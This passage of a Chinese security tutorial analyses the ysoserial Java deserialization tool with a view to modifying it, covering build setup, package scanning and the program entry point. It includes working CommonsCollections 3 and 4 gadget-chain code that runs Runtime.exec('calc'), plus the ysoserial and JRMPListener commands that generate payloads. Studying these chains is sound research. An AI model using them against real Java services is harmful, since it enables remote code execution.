前言
ysoserial
被称为java反序列化利用神器
, 其 GitHub 为: https://github.com/frohoff/ysoserial
今天对其进行一个分析以及魔改, 把公用的工具转化为自己的工具. 当利用链越来越多的时候, 我们难免需要扩展自己的利用链, 例如: 在 Shiro 中对一种 CC 链进行了魔改, 其原因则是实战中需要使用《无数组的CC》链, 但实际上使用ysoserial
本身的链子是失效的.
以及在 RMI 中 对 JEP290 的绕过, 实际上在ysoserial
这款工具中并没有绕过JEP290
, 所以对ysoserial
的魔改也是至关重要的, 本次的分析与魔改也将该条链子加入到魔改成功的ysoserial
中.
文章目录如下:
工具分析与魔改
在这里将记载工具分析的整个过程, 从最基本的ysoserial
使用开始.
ysoserial 使用方法
当然在这里需要再唠叨一下ysoserial
的使用方式, 因为后面我们分析时, 会通过使用方式来进行分析框架到底干了些什么事情.
首先是打印部分, 当我们执行java -jar ysoserial.jar
时, 会打印出帮助信息:
那么假设我需要commons-collections
这条链子的时候, 我选择使用CommonsCollections2
这条链路, 那么就应该这样调用:java -jar ysoserial.jar CommonsCollections2 "calc"
如果想要将其保存为二进制文件, 直接使用 > 重定向即可, 所以在调用时特别方便. 再然后就是使用ysoserial
进行RMI
监听了, 我们看一下是如何进行监听的:
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 监听端口 CommonsCollections4(使用什么链路) "calc"
可以进行一个端口监听, 进行打二次反序列化操作.
那么接下来我们来看一下这款工具的具体实现, 其中将分析这两个模块 (生成 payload && RMI 端口监听)
的使用.
关于分析之前的一些问题
在这里由于打包之前没有仔细看README.MD
描述说明, 踩了一些坑, 在这里记录下来.
编译环境说明
可以看一下官网 github ,其中是这样说明的:
这里笔者的环境为:jdk8u131 + Maven 3.9.6
完全可行.
这里的Maven
是使用的IDEA
内置的Maven
, 它位于IDEA安装目录\plugins\maven\lib\maven3
下, 而由于我们要通过命令行进行编译, 所以增加一个环境变量IDEA安装目录\plugins\maven\lib\maven3\bin
, 因为mvn
在该目录下. 可以在命令行中使用mvn
即说明配置完毕:
当然, 如果要配置Maven的阿里云仓库可以在IDEA安装目录\plugins\maven\lib\maven3\conf\settings.xml
进行配置.
-DskipTests 选项说明
根据官网说明, 我们需要使用mvn clean package -DskipTests
进行打包, 那么为什么必须加上-DskipTests
, 而 IDEA 中一键打包出错呢?
在使用mvn package进行编译、打包时,Maven会执行src/test/java中的JUnit测试用例,有时为了跳过测试,会使用参数-DskipTests和-Dmaven.test.skip=true,这两个参数的主要区别是:
-DskipTests,不执行测试用例,但编译测试用例类生成相应的class文件至target/test-classes下。
-Dmaven.test.skip=true,不执行测试用例,也不编译测试用例类。
这里我们可以创建一个项目进行看一下使用Maven
插件一键打包与加上-DskipTests
的区别, 创建pom.xml
文件:
<build>
<finalName>${project.artifactId}</finalName>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifestFile>${project.basedir}/src/main/resources/META-INF/MANIFEST.MF</manifestFile>
<!-- 需本地创建 /META-INF/MANIFEST.MF 文件 -->
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id> <!-- this is used for inheritance merges -->
<phase>package</phase> <!-- bind to the packaging phase -->
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>runtime</scope>
</dependency>
</dependencies>
在这里准备了一个 junit 环境, 并且配置了 maven-assembly-plugin 打包插件. 当然需要定义/resources/META-INF/MANIFEST.MF
文件, 内容如下:
Main-Class: com.heihu577.Main
定义完毕之后, 定义com.heihu577.Main
类并且定义main方法即可, 过程不再演示.
接下来在src/test/java
目录中进行定义测试类, 随后进行编译:
最终打包成功了, 但会执行Junit
测试, 而如果使用-DskipTests
则可以跳过src/test/java
进行打包:
而ysoserial
中src/test/java
下定义了许多类, 会导致编译时报错, 从而中止打包, 这也是加上该参数的原因.
CC3 与 CC4 共存
其实在这里笔者有一个疑惑, 就是为什么CC3 & CC4
能够共存生成payload
, 想要知道使用了什么技术, 那么定义pom.xml
文件内容如下:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
随后定义两个测试类:
// CC3
public class Main {
public static Object t1() throws Exception {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
BadAttributeValueExpException o = new BadAttributeValueExpException(null); // 防止构造方法中就调用 toString
Field val = o.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(o, tiedMapEntry); // 避开构造方法之后, 通过反射改回来恶意对象
return o;
}
public static void main(String[] args) throws Exception {
Object o = t1();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(o);
new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())).readObject();
}
}
以及:
// CC4
public class Main2 {
public static Object t2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes();
/* Evil.java 文件内容:
public class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
} */
bytecodes.set(templates, myBytes);
name.set(templates, "");
ConstantTransformer tmpTransformer = new ConstantTransformer(TrAXFilter.class);
TransformingComparator transformingComparator = new TransformingComparator((org.apache.commons.collections4.Transformer) tmpTransformer, new NullComparator());
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add("heihu");
priorityQueue.add("577");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);
return priorityQueue;
}
public static void main(String[] args) throws Exception {
Object o = t2();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(o);
new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())).readObject();
}
}
实际上两个环境都是可以进行弹出计算器的, 在测试时, 发现仅仅只是CC3 & CC4
作者开发时定义了不同的包名, 从而把这块两个依赖区分开来了, 如图:
那么解决一些疑点之后, 开始分析ysoserial
这款工具到底做了什么. 以及应该如何进行魔改.
ysoserial 生成的 payload 失效问题
在 Windows 系统中, 如果使用powershell
生成payload
, 那么在本地调试readObject
方法会报错, 这个原因可以参考: https://www.bilibili.com/opus/976270642228756486
所以在分析与调试时, 尽量使用cmd
命令行进行调试, 以免陷入自我怀疑 2333...
源码解析 & 魔改方式
程序入口
分析程序入口很容易, 我们只需要看一下打包时MANIFEST
所指明的主类即可, 打开pom.xml
文件进行定位:
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<archive>
<manifest>
<mainClass>ysoserial.GeneratePayload</mainClass>
<!-- 程序入口 -->
</manifest>
</archive>
<descriptors>
<descriptor>assembly.xml</descriptor>
</descriptors>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
打印帮助信息
当我们键入java -jar ysoserial.jar
时, 我们可以知道的是, 会调用到程序入口类的main方法, 从上面的maven-assembly-plugin
插件可以看到的是程序入口为ysoserial.GeneratePayload
这个类.
关于包扫描
为什么这里突然聊到关于包扫描了呢?原因则是分析ysoserial.GeneratePayload
时, 涉及到了第三方扫描库reflections
, 所以在这里对于reflections
的使用提前做一些说明, 在ysoserial
中的pom.xml
文件中可以搜到对它的引用:
<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.9.9</version>
</dependency>
那么它怎么用呢?那就需要用新项目来说明它的基本使用方式了. 将下面类都定义在com.bean
包中:
public interface Animal {
void call();
}
public interface AnimalExtend extends Animal {
}
public class Cat implements Animal {
@Override
public void call() {
System.out.println("喵喵喵~");
}
}
public class Dog implements Animal{
@Override
public void call() {
System.out.println("汪汪汪~");
}
}
public abstract class Pig implements Animal {
}
那么我们需要定义一个程序, 进行包扫描, 将com.bean
目录下的所有实现了Animal
接口的类全部提取出来, 我们应该如下定义:
/**
* 通过原生 Class 进行包扫描逻辑, 程序只是针对当前情况, 可能有些许 bug
* @return
* @throws ClassNotFoundException
*/
public static Set<Class<? extends Animal>> getAnimalsByClass() throws ClassNotFoundException {
HashSet<Class<? extends Animal>> hsset = new HashSet<>();
URL url = MyScanner.class.getClassLoader().getResource(
Animal.class.getPackage().getName().replace(".", "/")
); // 通过 ClassLoader 来得到存放目录
String path = url.getPath();
File file = new File(path);
if (file.isDirectory()) { // 如果是目录则进行遍历
String[] classesFile = file.list(); // 得到目录的每一个.class文件
for (String classFile : classesFile) {
if (classFile.endsWith(".class")) {
String className = Animal.class.getPackage().getName() + "." + classFile.replace(".class", "");
// 将 .class 文件转换为 Class.forName 可识别的字符
Class<? extends Animal> clazz = (Class<? extends Animal>) Class.forName(className);
// 生成 Class
Type[] genericInterfaces = clazz.getGenericInterfaces();
if (genericInterfaces.length > 0) {
Type genericInterface = genericInterfaces[0];
// 判断是否实现了 Animal 接口
if (genericInterface.getTypeName().equals(Animal.class.getName())) {
hsset.add(clazz);
}
}
}
}
}
return hsset;
}
public static void main(String[] args) throws ClassNotFoundException {
Set<Class<? extends Animal>> animalsByReflection = getAnimalsByClass();
// [class com.bean.Cat, interface com.bean.AnimalExtend, class com.bean.Dog, class com.bean.Pig]
System.out.println(animalsByReflection);
}
通过原生的Class
当然可以实现, 但目前仅仅是针对当前情况 (扫描实现了 Animal 接口的类), 也没有加入其他判断: 例如, 是否为某个类的子类等逻辑, 程序已经很复杂了, 那么为了解决当前这种情况, 我们可以使用上面的reflections
类库, 编写如下代码:
/**
* 通过 Reflections 依赖进行包扫描, 考虑全面, 使用简单.
* @return
*/
public static Set<Class<? extends Animal>> getAnimalsByReflections() {
Reflections reflections = new Reflections(Animal.class.getPackage().getName()); // 指明扫描包
Set<Class<? extends Animal>> animals = reflections.getSubTypesOf(Animal.class); // 得到 Animal 的所有子类
return animals;
}
public static void main(String[] args) throws ClassNotFoundException {
Set<Class<? extends Animal>> animalsByReflections = getAnimalsByReflections();
// [class com.bean.Cat, interface com.bean.AnimalExtend, class com.bean.Dog, class com.bean.Pig]
System.out.println(animalsByReflections);
}
可以看到Reflections
这个包对于包扫描来说方便了不少, 它的常用方法如下:
// 初始化工具类
Reflections reflections = new Reflections(new ConfigurationBuilder().forPackages(basePackages).addScanners(new SubTypesScanner()).addScanners(new FieldAnnotationsScanner()));
// 获取某个包下类型注解对应的类
Set<Class<?>> typeClass = reflections.getTypesAnnotatedWith(RpcInterface.class, true);
// 获取子类
Set<Class<? extends SomeType>> subTypes = reflections.getSubTypesOf(SomeType.class);
// 获取注解对应的方法
Set<Method> resources =reflections.getMethodsAnnotatedWith(SomeAnnotation.class);
// 获取注解对应的字段
Set<Field> ids = reflections.getFieldsAnnotatedWith(javax.persistence.Id.class);
// 获取特定参数对应的方法
Set<Method> someMethods = reflections.getMethodsMatchParams(long.class, int.class);
Set<Method> voidMethods = reflections.getMethodsReturn(void.class);
Set<Method> pathParamMethods = reflections.getMethodsWithAnyParamAnnotated(PathParam.class);
// 获取资源文件
Set<String> properties = reflections.getResources(Pattern.compile(".*\\.properties"));
那么接下来看一下打印帮助信息
功能模块的具体实现.
源码刨析 ysoserial.GeneratePayload.printUsage 方法 [欢迎信息打印]
直接定位到程序入口ysoserial.GeneratePayload
进行分析:
如果没有任何参数的传递的话, 那么则会调用到printUsage()
方法, 这里重点关注一下这个方法, 是如何将程序信息输出到控制台的. 它的